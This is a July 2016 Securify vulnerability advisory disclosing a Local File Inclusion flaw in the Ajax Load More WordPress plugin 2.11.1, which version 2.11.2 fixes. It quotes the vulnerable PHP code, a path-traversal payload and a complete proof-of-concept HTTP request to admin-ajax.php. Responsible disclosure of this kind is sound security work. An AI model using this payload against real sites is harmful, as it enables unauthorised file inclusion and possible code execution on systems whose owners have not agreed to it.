Burak Kelebek, July 2016

Ajax Load More Local File Inclusion vulnerability

Abstract

It was discovered that the Ajax Load More WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160712-0034

Tested versions

This issue was succesfully tested on the Ajax Load More - Infinite Scroll WordPress Plugin version 2.11.1.

Fix

This issue is fixed in version 2.11.2

Details

Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; which results in Local File Inclusion.
For a succesfull exploit the payload needed to contain 'repeater' value and a numeric value which when splitted by 'alm_get_repeater_type' results in 'repeater' for the $type parameter.

repeater=repeater2f%2e%2e%2f../../../xmlrpc

https://www.owasp.org/index.php/PHP_File_Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

$repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default';      
$type = alm_get_repeater_type($repeater);
   
function alm_get_repeater_type($repeater){
   $type = preg_split('/(?=\d)/', $repeater, 2); // split $repeater value at number to determine type
$type = $type[0]; // default | repeater | template_   
   return $type;
}
   
[..]
   
if($queryType === 'standard'){
   
[..]
   
   if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){
                   do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater
                  }else{
                     include( alm_get_current_repeater($repeater, $type) ); //Include repeater template
                  }
                  
[..]
   
function alm_get_current_repeater($repeater, $type) {

   $template = $repeater;
   $include = '';
      
   // If is Custom Repeaters (Custom Repeaters v1)
   if( $type == 'repeater' && has_action('alm_repeater_installed' )){
      $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';                
      
      if(!file_exists($include)) //confirm file exists          
       alm_get_default_repeater();
      
   }
// If is Unlimited Repeaters (Custom Repeaters v2)
   elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){
      global $wpdb;
      $blog_id = $wpdb->blogid;
      
      if($blog_id > 1){   
         $include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php';
      }else{
         $include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php';      
      }       
            
      if(!file_exists($include)) //confirm file exists          
       $include = alm_get_default_repeater();          
   
   }
   // Default repeater
   else{            
      $include = alm_get_default_repeater();
   }
      
   return $include;
   
}

The victim should have the paid add-on Custom Repeater or Unlimited installed.

Proof of Concept

GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1
Host: 192.168.50.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.50.9/html/
Cookie:
Connection: close
Pragma: no-cache
Cache-Control: no-cache